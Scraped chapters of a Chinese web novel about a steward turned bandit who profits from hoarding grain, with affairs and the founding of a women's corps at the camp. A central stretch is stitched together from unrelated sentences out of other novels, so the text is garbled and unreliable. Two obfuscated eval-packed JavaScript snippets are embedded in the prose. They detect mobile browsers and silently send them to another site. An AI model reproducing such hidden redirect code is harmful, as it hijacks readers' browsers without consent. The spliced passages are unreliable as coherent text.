于兰芝想了想,感觉李二狗的话挺有道理。 “宋小曼那个小蹄子在省城怎么样?伺候老爷上不上心?” 李二狗说道:“我正要和你说这件事,三奶奶她失踪了。” “失踪了?我看是跟哪个野男人私奔了吧?这个小蹄子,我早就看出她不是什么好雏!” “她走了也好,老爷现在这种情况,多一个人反而多一份麻烦。” 于兰芝心领神会,说道:“还是你花花肠子多,等找个机会再把老爷新纳的那几个小蹄子都撵出去。” 李二狗知道,离胡家大院姓李的日子越来越近了。 “兰芝,买粮的事怎么样了?” “我正要和你说这件事,二驴按照你的安排,最近这些日子购买了大量的粮食,咱们仓库已经装不下了,你看,咱们是不是先别买了?” 李二狗想了想,说道:“我先去看看情况再说。” 此时,张二驴已经在门外等候。 “李管家,我有事向您汇报。” “走,我们去磨坊看看,边走边说。” “李管家,按照您的吩咐,最近咱们胡家大院一共购买了差不多有五十万斤小麦,仓库差不多都堆满了。” “收购价格有变化吗?” “变化倒不大,比刚开始时上涨了差不多有一成,为了防止本地粮价波动,我安排人在全省各地进行购买,李管家,在收购中,我发现一个情况。” “什么情况?” “我发现咱们县也有其他人在大量购买粮食。” 李二狗微微有些吃惊,没想到张二驴心思如此细腻。 他表面装作很淡定,问道:“是什么人知道吗?” “我私下里打听了一下,”张二驴脸上一副神秘的表情,“你猜是谁?” “少他娘卖关子,有话快说,有屁快放!” 张二驴和陈老三一个尿性,属于李二狗越骂心里越有底的人。 “嘿嘿,是清风寨的土匪。” “清风寨的土匪?他们只有几十号人而已,能买多少?二驴,你可不要听风就是雨。” “我知道,我知道。” 张二驴嘿嘿一笑,他只是想告诉李二狗,自己办事懂得见微知著,他也知道,一个土匪窝确实买不了多少粮食。 “李管家,我还发现一个情况,省城有一家贸易行正在大量收购粮食,我分析,粮价很快就会上涨。” 李二狗没想到,静雯那边刚开始大批量收购粮食,张二驴这边就已经得到消息,看来粮价上涨势在必行。 两人来到磨坊,仓库里堆满了一麻袋一麻袋的小麦。 “二驴,干的不错,接下来你有什么打算?” 张二驴知道这是李二狗在故意考自己,幸好他早有准备。 “李管家,我建议咱们趁着粮价目前上浮不大,继续收购小麦。” 张二驴的回答倒是出乎李二狗的意料。 “继续收购小麦?现在仓库已经满了,如果继续收购,储存在哪?” 张二驴说道:“李管家,照现在的情形来看,粮价上涨势在必行,我们现在多收购一些,临时找个储存的地方,等粮价上涨之后可以立即出手,稳稳地赚个差价。” “二驴,你的想法很好,但你有没有想过,咱们胡家大院还有多少现钱?” 张二驴摸了摸脑袋,尴尬地一笑:“这个我倒没想过。” “自从上次被清风寨抢了之后,胡家大院元气大伤,现在老爷又病着,我看就先这样吧,二驴,现阶段我们还是以稳为主,不出事就是大功一件,你懂我的意思吧?” “多谢李管家教诲,我懂了。” 李二狗教诲完张二驴,直奔清风寨。 几日不见,他太想李素文了。 不过达到清风寨之后,他还是克制着自己内心的欲望,召集陈老三等人到议事厅开寨务会,男人当以事业为重! “老三,说说你建粮囤的进展情况。” 陈老三显得底气十足,说道:“狗哥,我办事你放心,你不在的这几天我带着兄弟们日夜赶工,已经建好十座,剩下的保证三十天之内建完。” “老三,干得不错,不过进度还得加快,我只能再给你二十天的时间。” “二十天?狗哥,你以为建粮囤是建鸡窝啊?没有那么快!” “老三,能不能完成你给个准话,不能的话我换人。” 陈老三只能硬着头皮答应下来。 “好,保证完成任务。” 李二狗又看向宋孬蛋。 “孬蛋,说说你购买粮食的进展。” “狗哥,这些天前前后后差不多购买了三十万斤小麦。” 李二狗粗略算了算,一麻袋小麦在二百斤左右,三十万斤小麦差不多就是一千五百麻袋小麦。 “孬蛋,太少了,还得继续买。” “狗哥,不少了,再说三哥这粮囤还得二十天才能建好,把小麦买来也没有地方储存啊,要是一下雨可就全泡汤了。” “老三,你只管买粮,储存的事我来想办法。” “那再买多少?” “至少一百万斤!” 宋孬蛋认为李二狗肯定是疯了! 第201章 胆大骑龙骑虎 “狗哥,一百万斤小麦?咱们弟兄几千年也吃不完啊!” “孬蛋,你只管买,其他的事不用操心。” 只要是李二狗认定的事情,寨务会没有不通过的。 散会后,宋孬蛋找到李二狗。 “狗哥,我还是建议咱们谨慎一点,如果把山寨的钱全部换成粮食,粮食要是再砸在手里,咱们可就没有任何退路了。” “孬蛋,胆大骑龙骑虎,胆小只能骑个鸡屁股,我这次就是要干票大的,如果干成了,咱们兄弟可以吃喝嫖赌几辈子。” 宋孬蛋很想问问李二狗,如果要是干砸了怎么办? 他当然不敢问! “好,我这就安排人下山去买。” “等一下,孬蛋,我刚才又想到一个主意,你不是担心咱们购买的粮食没有地方储存吗?你这样,除了省城之外,你在全省东西南北四个方向选择四个县,县与县之间的距离一定要适中,在每个县里租几个大仓库用来储存粮食。让老三、嘎子、石头来帮你,你们几个分别负责一个县,带领兄弟们买粮,省城那边交给我,你们不用操心。” “好的,狗哥,我现在就去安排。” “等一下,记住,每个县在二十天之内必须收购至少一百万斤粮食,谁完不成,领头的滚蛋,就不要再回山寨了。” “狗哥,要是购买这么多粮食,咱们山寨的钱可不够啊。” “钱的事我来想办法,到时候我会安排人把钱送给你们。还有,二十天之后,你通知老三他们几个领头的到省城百乐门大舞厅,我会在那里等你们。” 安排妥当之后,李二狗赶紧回到家,李素文早已知道李二狗回到山寨,正在门口翘首以待。 小别胜新婚,李素文眉目传情,嘴角含笑,宛如春日里破土而出的嫩芽,全身洋溢着荷尔蒙的气息。 “二狗,你回来得正好,我想要个孩子。” 李二狗崩溃了,李素文现在完全把自己当成了一条种狗。 忙活完李素文的事,李二狗回到胡家大院。 他借口胡士高在医院有事,再次去了省城。 静雯见到李二狗,自然是喜上眉梢。 “静雯,咱们贸易行的仓库能储存多少小麦?” “差不多五百万斤吧。” “现在储存多少了?” “差不多有一百万斤,怎么了?” “剩下的四百万斤我已经帮你买完了,你付钱就行。” “二狗,你开玩笑吧?四百万斤?你可别逗我了。” 李二狗便把自己的计划全部告诉了静雯,静雯开心地跳到李二狗身上。 “二狗,你实在是太厉害了,我爱死你了!我要给你生个狗崽子。” “现在?” “现在!” 李二狗和静雯度过了没羞没臊的二十天快乐时光。 二十天后,百乐门大舞厅。 陈老三、陈嘎子、张石头先后赶到,只有宋孬蛋路途遥远,还没有到。 陈老三作为熟客,对舞厅内的一切自然是见怪不怪,倒是陈嘎子和张石头眼睛都不知道放在哪里。 “嘎子,石头,感觉怎么样?” 陈老三跷着二郎腿,以过来人的身份想调理调理他们一番。 陈嘎子眼睛盯着舞池里一个臀部丰满的女人,说道:“嘿嘿,做个城里人真好。” “是啊,是啊,我也想做城里人。”张石头附和道。 陈老三奚落道:“看你俩没见过世面的样子,我真替你们感到害臊。” 这时,一个穿着红色旗袍的女服务员走过来,低头问道:“三爷,您来了,我让兮兮过来陪您?” 陈老三咧着大嘴嘿嘿一笑,说道:“好好,再叫两个姑娘过来陪陪我这两位兄弟,来两瓶XO。” “请稍等。” 女服务员扭着纤细的腰肢走了,张石头的眼睛一直盯着她晃动的臀部。 “石头,你狗日的眼睛安分点,别给老子丢人。” 张石头赶紧收回自己的目光,鼻血流了出来。 “哎呀,我草,和你们出门,真是丢不起这人。” 说话间,兮兮走了过来。 “三哥,您可有日子没来了。” 说着就坐到陈老三大腿上,旁若无人地啃了起来,一边啃还一边晃动着身子。 陈嘎子和张石头都看呆了,这样的好日子他们一天也没体验过。 女服务员领着两个舞女走过来,舞女们照例先介绍自己。 陈老三只顾着和兮兮互啃,舞女们介绍完自己,陈嘎子、张石头并不知道该做什么,气氛一时有些尴尬。 女服务员把酒倒满,对陈老三说道:“三哥,您看看还有什么需要吗?” 陈老三这才停了下来,兮兮整理一下衣服,坐在陈老三身旁,然后很自然地依偎在他身上。 陈嘎子和张石头看得面红耳赤,而兮兮却对刚才发生的一切没有丝毫的羞涩感。 “你俩满意吗?”陈老三指了指站着的两个舞女。 “满意,满意。”两人几乎同时说道。 “你们随便吧,想要谁要谁,我和兮兮上楼去聊点私事,你们该干什么干什么。” 陈老三说完就搂着兮兮上了楼。 陈嘎子选了丰满的,张石头选了苗条的。 舞女们虽然知道他俩是乡下人,但她们更知道陈老三的身份,自然不敢怠慢他带过来的兄弟。 她俩用尽浑身解数,把陈嘎子和张石头伺候地舒舒服服。 宋孬蛋赶到时,天色已经发黑,他前脚刚到,静雯挽着李二狗也来到百乐门大舞厅。 大家来到二楼包厢,李二狗把陈嘎子和张石头介绍给静雯。 看着美丽动人又风情万种的静雯,两人对李二狗佩服的五体投地。 自古以来,能成大事者身边都不缺乏美女。 如果连美女都搞不定,怎么能干成大事? “大家先汇报一下各自的情况,都完成既定目的没有?” “我完成了。” “我完成了。 “我也完成了。” “我也是。” “好,从现在开始,停止收购,任何人不允许再收购一粒小麦。” 宋孬蛋说道:“这两天收粮越来越困难,粮价也涨得厉害,不知道什么原因,各地都在传小麦要涨价,省城有人在大量收购小麦,大家现在都捂粮不卖,待价而沽。” 陈老三接话道:“是啊,也不知道是哪个王八蛋传的,让老子找到非得打断他的腿。” 李二狗真想上去撕碎陈老三那张臭嘴。 第202章 卖跌不卖涨 “你们几个明天回去之后,让手下兄弟们立马把话放出去,就说省城有老板正在高价大量收购小麦。” 宋孬蛋不解地问道:“狗哥,你这是要做什么?” “你先别管做什么,这些待会我会告诉你们,我问你,现在县里一斤小麦卖多少钱?” “已经涨到五分钱一斤。” “我那里已经涨到六分了。” “现在不是多少钱一斤的问题,是大家都捂着粮不卖。” 王卿瑶这会儿还没吃饭,肚子饿得咕咕叫,要不是刺客那是,她早该酒足饭饱,就剩思银欲了。 那丫鬟在旁边悄声声地说着,但是也是毫无办法的,虽然是有点难受,可是现在看到这样的状况仍然是没有办法负责。 剩下金阳银月两位公主以及卫雨时,银月公主忍不住一巴掌甩在了卫雨脸上。 罗伊斯环视了一圈被翠绿藤蔓缠绕的酒吧,微微皱起了眉头,随后就把目光投向了阿黛尔和薇娜塔。 阴世特殊环境而导致经年累月的灵体鬼怪积累,已经到了无法估量的数值。 好在白珺椿提前预警了,几人除了倒吸了一口凉气,身子微微后仰,倒也没有过分失态。 周宇没说的是,自己在单位这么多年,看惯了好多家属没事就吵吵闹闹的,无非就是他们没有时间陪伴,当梁柔说出这样的话时,周宇除了感动之外,还有庆幸。 “我不是敢,是我已经打了,梁霜,我看你手是不想要了吧。”梁柔阴森森的说道。 这时,楚夏才回过神来,他发现,刚刚满店的客人,如今只剩他一个。 为首的那名魂师被唐天抓住双腿狠狠的砸在了地面之上,整片大地陡然一震。 “霍叔,瞧你说的,有什么话你但说无妨,是不是关于老村长的?”刘星皓已经在心中猜到了七八分,霍叔要说的,肯定是关于这个的。 “实事求是呗,做到问心无亏就可以”夏建提高了声音说了这么一句。 原来大于越耶律曷质和萧屈烈比斗良久,内伤再次发作,难以长久支撑“疾影灭绝神功”第三重境界,身法之中难免出现瑕疵,竟是被萧屈烈“碧血刀法”近身。 金强内心纳闷,自己的那一拳多大的分量,自己最清楚,就算是甄好在软肋被熟铜双锏刺中,加上自己的那一拳,虽然不至于死去,也必须失去了行动的能力。 奶奶的,本来想威吓一下,反响还真不是一般的大,爷是来救你们的好不,真他奶奶的愚蠢、笨蛋加三级。 听到龙洛所说叶韬凝眉道:“这样想来青青姐姐的确是太引人注目了,芷茹神帝能救得了她一次总不能次次救她”。 原来是她!只不过她现在不叫秋晓,叫秋婵。李思修保荐她做了奈何庄旅游局局长。因官级不够,不能学习画皮,前些年请神医李时珍给她做了袪胎记及牙齿修复手术,如今看起来,也是风情万种的大美人。 “龙冢的重要性想必大伙儿都很清楚吧!”虽然身居金钱帮,但是司马浩然却是没有任何惊慌失措,说话反而是底气十足的样子。 有了龙洛与龙青青的加入,那龙爪突然出现一丝裂痕,霎时间龙爪破碎,巨剑势如破竹向大长老攻去,大长老眉‘色’一动,一掌拍出,只见一道黑‘色’巨掌挡在身前。 “要想好好活着,跟谁都不成。”她说这句话的神情,像极了我的母亲。而且当年,母亲说过完全相同的话。恍忽间,历史似在重演。虽然桐儿的表情冷静而漠然,可她的心情,我却感同身受。 第203章 我喜欢女孩 和吴有德分析的一样,在政府出手干预之后,加上吴有德贸易行停止高价收购,小麦价格开始一路下跌。 各地粮商看到小麦价格下跌之后,纷纷开始清仓大甩卖。 买涨不买跌,小麦价格越低,卖的人越多,买的人越少,很快小麦价格便跌回起点。 李二狗又安排陈老三等人开始收购小麦,收购的小麦统一储存在省城吴有德商贸行的仓库里。 李二狗没有改变当初的判断,今年各地普遍干旱,夏粮减产已是板上钉钉的事实。 这一进一出,李二狗赚得盆满钵满。 时光飞逝,很快就到了麦收时节。 小麦不仅仅是减产,很多地方是绝产,颗粒无收! 胡家大院。 “啊啊啊……” 李二狗满头大汗,急得不停地搓手。 “再用点力……” “啊啊啊……,疼,好疼,疼死了……” “大奶奶,您再用点力,马上就好了。” “啊啊啊……我不行了……” 一个老婆子从屋里走出来,同样是满头大汗。 “李管家,孩子的胎位有点不正,大奶奶痛得厉害,您看是不是请个大夫过来?” 李二狗早有准备,冲着张二驴喊道:“二驴,快把大夫叫进来。” 张二驴很快便带着一个大夫跑了进来。 老婆子面露为难之色,说道:“李管家,真的让他进去?” “这都什么时候了,哪还管得了这些?出了事我担着。” 大夫进去之后,里面除了于兰芝的喊叫声,还是迟迟没有其他动静。 “李管家,大奶奶已经没有力气了,我开了一副药,您马上安排人熬出来,越快越好。” 一个老婆子接过药包,赶紧去厨房熬药。 正在这时,张玲玉走了进来。 “大姐怎么样了?怎么里面没动静了?我生福儿那时候,半袋烟功夫就生出来了,可不像大姐这么费劲。” 李二狗不想理她,这时候还说这种风凉话。 李二狗算是彻底看清了张玲玉的真实面目,她是一个精致的利己主义者,心里只有自己。 张玲玉说了半天,根本没有人和她搭话,脸上有些挂不住。 “李管家,真是看不出啊,大姐生孩子,你比老爷还紧张,等老爷醒来肯定会好好感谢你,呵呵。” “二奶奶,如果是你生孩子,我一样紧张。” 张玲玉气得胸脯子上下波动。 “李二狗……你……,哼!” 豪门深闺出怨妇,张玲玉现在就是一个怨妇,怨天怨地怨一切,就是不怨自己。 “哇哇哇……” 屋内传出一阵婴儿的啼哭声,李二狗激动地泪流满面。 李二狗的失态让张玲玉彻底认清了一件事,这个孩子肯定是李二狗的。 “李管家,恭喜恭喜,”张玲玉靠近李二狗,低声说道:“恭喜你喜当爹。” 李二狗根本不在乎张玲玉的态度,她知道又能如何? 胡福是谁的儿子,她好像已经忘得一干二净。 看李二狗根本不在意,张玲玉气得直跺脚,但也毫无办法,现在的胡家大院早已不是当初的胡家大院。 胡士高半死不活地在医院躺着,自己生的儿子不仅傻,还不是胡家的种,如果李二狗和于兰芝联手,自己根本不是对手。 “李管家,你放心,我不会告诉任何人的。” “那我谢谢二奶奶了。” “二狗,有空的时候去我院里坐坐,我有很多话想和你说。” 张玲玉撒起了娇,李二狗还很吃这一套。 作为第一个让李二狗惊艳的女人,张玲玉在他心里一直有一个位置。 “等我忙完这阵就去看你。” 这时候,一个老婆子领着大夫走了出来。 “李管家,大奶奶生了个千金小姐。” 张玲玉脸上立即绽放出喇叭花一样的笑容。 “恭喜大姐啊,女儿和娘贴心,大姐以后可有福了。” 李二狗同样很开心,女儿是爹的小棉袄。 由于有外人在场,李二狗不便进入于兰芝卧室。 张玲玉笑道:“我替李管家进去看看咱们胡家大小姐,长得像不像大姐,嘻嘻。” 李二狗装作没事人一样,吩咐张二驴送走大夫,又嘱咐几个老婆子照顾好于兰芝。 张玲玉进入卧室,看到于兰芝躺在床上,旁边放着新出生的女儿。 “大姐,恭喜你啊,给老爷生了一个这么漂亮的大小姐,怎么看怎么随你。” 于兰芝生了一个女儿,最开心的莫过于张玲玉,最不开心的当属于兰芝。 她一直以为自己肚里怀的是男孩,谁承想却是个女孩,女孩是无法继承胡家大院的。 于兰芝没有理会张玲玉,此时她没有力气和张玲玉斗嘴,默默地闭上了眼睛。 张玲玉又胡乱说了一通,于兰芝始终不理她,她自己也觉得无趣,便说道:“大姐你好好休息,我先走了。” 夜幕降临,月光如一层透明的薄纱,朦朦胧胧地照在胡家大院每一个角落。 李二狗站在于兰芝门前,清风拂面,不禁潸然泪下。 “李管家,你什么时候来的?” 迎春突然从屋内走出来,看到李二狗,吓得差点把手里的脸盆摔在地上。 李二狗怕被迎春看到自己失态,赶紧抬头看天,说道:“好像要下雨了,我……我来看看大奶奶。” 迎春抬头,看见满天繁星。 “屋里没人,你进去吧,我在外边看着。” “谢谢你,迎春。” 李二狗一低头,进了屋。 于兰芝正躺在床上逗弄女儿,她已听到李二狗和迎春说话的声音。 “二狗,你快过来看看咱们的女儿,我觉得她长的好像你。” 李二狗走到床前,没有先去看女儿,而是深情地凝视着于兰芝。 他抚摸着她有些憔悴的脸颊,柔声说道:“兰芝,真是辛苦你了。” 于兰芝感动的涕泪涟涟,此前所有的辛苦付出在这一刻都得到了回报。 “二狗,对不起,没能为你生个儿子……” 李二狗用手指轻轻按在于兰芝唇上。 “不要说对不起,我喜欢女孩,你看她长的多像你,尤其是那双乌黑明亮的眼睛。” “你喜欢就好。你快看,快看,她在对着你笑。” 第204章 我要给你磕一个 于兰芝抱着女儿,依偎在李二狗怀里。 “二狗,你喜欢咱们女儿吗?” “我当然喜欢啊,你看她多漂亮多可爱。” “那你喜欢我还是她?” “你们俩我都喜欢。” “嘻嘻,就知道你会这么说,我才不会和她争,二狗,你给咱们女儿起个名字吧。” 李二狗想了想,说道:“小时候我背过一首唐诗,印象特别深刻,满天星斗晓来收,万丈瑶台梦里游,我看 袁洪在营帐外听了一会儿,待众人散去,他才悄无声息的原路回元州。 魂玉身为魂族的神品血脉,天赋和萧薰儿一样,而年纪却跟古青阳差不多,所以实力却是比萧薰儿还要高。 “没有。”语若想张大嘴巴否认,胜捷一个巴掌捂住了她的嘴巴,不让她说话,两人紧贴在一起也是亲密无间。 他从空间戒指里取出一枚药丸,那是一枚能瞬间激发人的潜力、让人立即就恢复到最佳状态的药,很珍贵,以南域赵家的豪富底蕴,他这次出门也只带了两颗。 “属下倒觉得或许另有他人!”贪狼星君强忍着伤势,将心中的看法道出。 就算要休息,要吃饭,但也要留人看着车,而刘德光就担负起了这个责任。 只见许婷抱着林杠,张禾,寻双等人,还有章甘也在一旁满脸的愧疚。 那些作战指挥室里的人没有一个拔枪,他们除了惊恐和茫然,更多是被抛弃的无奈和愤怒。 很多人明显是不愿去相信的,但显然,他这突如其来的一剑之中,众人的的确确是感受到了有法则之力交织在内。 众多男子看向白歌的目光满是不可思议,一个个不禁纷纷倒吸了一口凉气。 谢鲤檬不会特别固执的认为,每个世界的他都会保持这一张脸,即便是之前从来没有过的情况,也会有过发生。 放下武器,意味着投降,禁军并没有发动进攻,只是迅速把黑衣人控制住。 墨钰涵平日里还会督促辛雨学习,上班的时候就给辛雨制定了一套学习打卡任务,有奖活动。 他准备等一会天亮之后,去找一趟马校长,汇报一下在虚拟世界的所见所闻,并征询一下他的意见。 阎雪莹知不知道这件事情,是知道还是不知道,一旦知道,那就是同谋是合伙。 或许也是这么一点的特权,让朱宁觉得,自己在这王府里面的煎熬,还是可以看到一点的希望的。 然而直到现在,姜天明也不清楚其中的真相,但不可否认的是,因为这些缘故,让他对台上这人的印象并不是很好,脸上的笑容都淡去了很多。 也算是借着这件事情敲个警钟,并不是说人家不给机会,而是给了,你们一个一个跟瘫痪了似的,根本就没有军功,那就怪不了陛下了。 为了雪耻,秦武墨苦苦哀求自己师尊,赐予他一枚雪龙丹,帮助他冲击神通境的瓶颈。 而这一次的光刻胶项目,就是他们围猎华夏龙腾网络科技的证据之一。 只不过让所有人都没想到的是,在这种铁证如山、证据确凿的前提下,对于洪启亮的审判前前后后竟然拖沓了长达三年之久。 没记错的话,上一次陆天尊在江炎面前唱歌的时候,陈海川和邓海几乎全程昏迷,现在给他们一个重新建立认知的机会。 不过,家里也不冷清,二哥已经生了七个孩子,都是送回来,满满一屋子。 当晚到家,我饭都不想吃,认真接受治疗后头一回破戒,洗漱完闷头就睡。 第205章 心目中的慈父 不出所料,李二狗提出的成立清风寨娘子军和在山寨建设福利住房的建议在寨务会上得到全票通过。 会后,大家纷纷表示要给李二狗磕一个。 宋孬蛋提议道:“狗哥,我建议在清风寨议事厅门前的广场上给你塑个金像,兄弟们每天三炷香对您顶礼膜拜。” 陈老三骂道:“孬蛋,你他娘天天就会出些骚主意,狗哥在山寨还一直蒙着面,你见过不露脸的塑像吗?” “嘿嘿,我这不是表达对狗哥的尊敬吗?狗哥干的这件事是造福山寨全体弟兄们的事,我们怎么感谢他都不过分,他就是我们心中的太阳。” 陈嘎子说道:“什么太阳?狗哥就是我心目中的慈父,我现在感觉全身充满了力量,切身体会到努力干好土匪的意义。” 张石头也附和道:“是啊,是啊,跟着狗哥干有奔头,这辈子我跟定狗哥了。” 听着大家的赞美,李二狗内心很享受,嘴上却说道:“好了,大家都别扯淡了,孬蛋,你赶紧安排人把消息放出来,一定要严把入口关。” “放心吧,狗哥,保证让你满意。” “我满意有个屁用?是你们找媳妇,你们满意才行。” 陈老三则显得有点郁闷,他一直喜欢望冬,可望冬一直对他爱搭不理。 这次山寨成立娘子军,按照自己在山寨的地位,除了李二狗,谁敢和他抢? 可如果就此放弃望冬,李二狗会怎么看自己?**会怎么看自己?他们会不会觉得自己是一个见异思迁的男人? 李二狗倒是并不在意这些小节,但是得罪了**,她枕边风一吹,自己会不会在清风寨就靠边站了? 可如果错过这次首选的机会,别人挑剩下的女人,他又怎能心甘?! 陈老三一撅腚,李二狗就知道他要放什么味的屁。 望冬和陈老三的事情,李二狗也有责任。 以望冬的性格,只要自己或者**说句话,她肯定会无条件答应嫁给陈老三。 但他一直想给望冬一个自由选择婚姻的机会,可望冬却一直是一副不主动不拒绝的态度。 **问过她几次,她每次都说不着急,再等等。 李二狗决定今天再找望冬谈一谈,让她给个痛快话,男女之间的事情最忌讳的就是拖拖拉拉。 “老三,建房子你有经验,这次住房的事还是由你负责。住房问题,既是咱们山寨的民生问题也是发展问题,关系兄弟们的切身利益,更关系山寨和谐稳定的大局,你一定要严把质量关,决不能出现豆腐渣工程。” 陈老三保证道:“狗哥,你就放心吧,我一定把这批住房建成百年工程,让狗哥放心,让兄弟们舒心。” “你**就会拍彩虹屁,干不好我拿你是问。” 李二狗回到家,**正坐在门口绣花。 经过一段时间的折腾,**一直怀不上孩子,也就彻底**心。 “素文,望冬呢?” “她去后山挖山参了。” 一次偶然的机会,望冬在后山挖到一棵老山参,从此就迷上了挖山参。 “山参哪有那么容易挖到,我看望冬是有些魔怔了。” “也不能怪她,在山寨待着,吃喝都不用自己动手,我都快闲出病来了,何况是她。” 李二狗笑道:“等娘子军成立了,你们就有得忙了。” **对李二狗成立娘子军的目的心知肚明,笑道:“等过个一年半载,她们就都在家带娃了,到时候还得闲下来。” 提到带娃,又勾起了**的伤心事,眼泪扑簌簌掉了下来,滴到刚绣的一只鸳鸯上,洇了一大片。 “于兰芝,我恨死她了!” 李二狗心里一惊。 当年**在胡家大院怀孕时,正是于兰芝安排迎春送了一盘放了夹竹桃的点心,才导致她流产,从此伤了身体,无法再生育,她恨于兰芝也在情理之中。 可现在于兰芝刚刚给李二狗生了一个女儿,以后她们将如何相处? 李二狗一想到这就头疼,只能先搁置争议,以后的事只能以后再说。 “素文,我和你说点事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872080|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 李二狗及时转移了话题,劝慰不如转移话题,这是李二狗的经验之谈。 **擦了擦眼泪,问道:“什么事?” “还是老三和望冬的事,你再问问望冬,她要是真不愿意,就明确告诉人家老三,老这样钓着人家算怎么回事?” **是理解望冬的,她内心深处是看不上陈老三那种憨头憨脑又不懂得情趣的男人。 但陈老三是李二狗的好兄弟,这桩婚事又是李二狗亲自介绍的,望冬作为**的丫鬟,她实在不敢直接拒绝陈老三。 **内心是希望望冬嫁给陈老三,生逢乱世,又落草为寇,陈老三无疑是她最好的选择。 “等她回来我再问问她吧。” “这次可不能再遮遮掩掩了,行就是行,不行就是不行,别最后耽误了人家老三也耽误了她自己。” 正说话间,望冬回来了。 “你先进屋,我来和她说。” 李二狗便笑着进了屋,**招呼望冬在其身边坐下。 “怎么样?挖到山参了吗?” 望冬尴尬地说道:“你看,就挖到这么一棵小山参,等晚上我给你和狗哥熬人参枸杞汤喝。” “山参是稀罕物,不容易挖到的。” 李二狗在屋里听到她们的对话,心想,清风寨后山有大片的闲地,为何不种上山参呢? 吴有德的医药公司需要大量的山参,这东西在城里可是稀罕物。 “望冬,有件事我想再征求一下你的意见。” “素文姐,什么事?” “你和老三的事,你到底是怎么想的?” “我还小,暂时还不想考虑这件事。” 望冬两手握在一起,显然内心很紧张。 “望冬,以前在胡家大院,你是我的丫鬟,虽然我一直没有把你当丫鬟看待,可毕竟地位有别。现在我们都离开了胡家大院,你就是我妹妹,我既不会勉强你,也不想委屈了你,今天你就给我一句实话,你是不是看不上老三?” 望冬低着头没有说话,脚上的绣花鞋在地上搓出一个圆圈。 第206章 阎王好见,小鬼难缠 “你不要担心你狗哥那边,他同样不会勉强你,我们都希望你能幸福。” “素文姐,我愿意。” 在现实面前,望冬还是选择了屈服。 嫁汉嫁汉,穿衣吃饭,望冬是个聪明女人。 在清风寨,她如果拒绝了陈老三,谁还敢娶她? 李二狗不会娶她,其他人不敢娶她,她要想嫁人,只能离开清风寨。 可如果离开清风寨,乱世之中,她一个柔弱女子,又能嫁给一个什么样的男人? 如果连生存下去都有困难,还谈什么风花雪月? 有时候人得认命! “望冬,太好了,我会给你准备一份丰厚的嫁妆。” “素文姐,我不想离开你。” “傻瓜,你即使出嫁了,大家还是会住在一起,抬头不见低头见的,我也舍不得你啊。” 李二狗从屋里走出来,笑道:“望冬,嫁给老三,你以后的日子会比蜜还甜,你放心,他要敢欺负你,我就阉了他。” 望冬羞得满脸通红,**嗔骂道:“你这张嘴上就没个把门的,人家望冬还是个姑娘。” 李二狗嘿嘿一笑,说道:“我这就去把这个好消息告诉老三,他准得乐出屁来。” 清风寨要招女人组建娘子军的消息在江东县炸开了锅。 这年月,有得是走投无路的姑娘。 到清风寨当土匪总比在家饿死强吧?总比卖给地主老财当泄欲的工具强吧?再说地主老财也买不了那么多走投无路的女人。 报名人数远超预期,短短两天时间就招了五十多个姑娘,吓得宋孬蛋赶紧叫停了招人。 清风寨娘子军正式成立,**任队长,望冬任副队长。 第一天训练时,全山寨的男人都围着她们,评头论足。 “那个好,你看那**,以后肯定能生儿子。” “我喜欢那个,你看那张鹅蛋脸,多稀罕人啊。” “那个个高的我要了,谁他娘都不能和我抢。” …… 一个胆大的土匪仗着是陈老三的亲信,径直走到一个女人面前,色眯眯地问道:“姑娘,我稀罕你,你嫁给我当婆娘好不好?” “哈哈哈……” 看热闹的土匪起哄道:“奥,奥,奥……二柱子丢人喽,还想老牛吃嫩草,人家姑娘根本看不上你。” 二柱子被嘘的面红耳赤,一把抓住姑娘的手。 “你到底愿不愿意,给个痛快话啊。” 女人们初来乍到,本来就心有不安,面对这群眼冒绿光的男人,吓得全部跑回了宿舍,有几个胆小的竟哭哭啼啼闹着要下山。 **第一天当队长,也没有带队伍的经验,被气得直跺脚也不知如何是好。 不得已,李二狗安排寨务会颁布了一条命令。 六个月之内,任何人不许谈对象,否则驱逐出山寨,全山寨男人那颗躁动的心才算暂时平息下来。 雨终于还是下了,而且一下就是不停,百姓们只能眼睁睁地错过授粉期。 大雨过后更加干旱,庄稼枯萎,秋粮绝收。 与此同时,蝗灾也接踵而至。 江东县境内大群飞蝗,遮蔽天空,东西达十余里宽,由北向南飞去,一时月色为之笼罩,暗淡无光。 漫天遍野的蝗虫将本就所剩不多的粮食啃了个精光。 秋,宛如风一般地飘来,无声无息。 大批灾民携老扶幼,开始沿街乞讨,小麦价格翻了两倍之多。 “二狗,多亏了你,咱们胡家大院提前储存了这么多小麦,咱们现在是不是趁着价格高,卖出去一部分?” 李二狗眉头紧锁,说道:“兰芝,正好有个事想和你商量一下。” “什么事?” “我想捐一部分粮食给县政府,这样政府可以开个粥棚,救济一下那些流离失所的百姓。” 李二狗前期扰乱粮食市场,哄抬小麦价格,趁机赚了一笔,他这才意识到自己当初是多么的无耻! 粮食关乎国计民生,怎么可以赚这种黑心钱!他想为百姓做点什么,弥补自己犯下的错误。 “二狗,咱们的粮食虽然看着多,但要是放在全县来看可就不多了,全县有三万多人口,咱们这点粮食只是杯水车薪啊。” “兰芝,现在把小麦卖了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872081|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 